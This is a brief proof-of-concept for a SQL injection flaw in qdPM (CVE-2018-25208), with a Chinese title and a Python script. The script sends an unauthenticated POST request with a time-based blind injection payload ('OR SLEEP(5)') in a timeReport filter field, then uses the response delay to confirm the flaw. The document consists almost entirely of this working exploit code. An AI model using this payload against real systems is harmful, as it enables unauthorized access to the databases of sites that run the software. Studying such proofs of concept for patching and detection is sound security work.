CVE-2018-25208 qdPM SQL注入漏洞

import requests # Target URL (example) target_url = "http://example.com/index.php/timeReport" # Payload demonstrating SQL injection via time-based blind technique payload = { "filter_by[CommentCreatedFrom]": "2023-01-01' OR SLEEP(5)-- -", "filter_by[CommentCreatedTo]": "2023-12-31" } try: # Send POST request without authentication response = requests.post(target_url, data=payload) # Analyze response time to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection triggered.") else: print("[-] Vulnerability not detected.") except Exception as e: print(f"Error: {e}")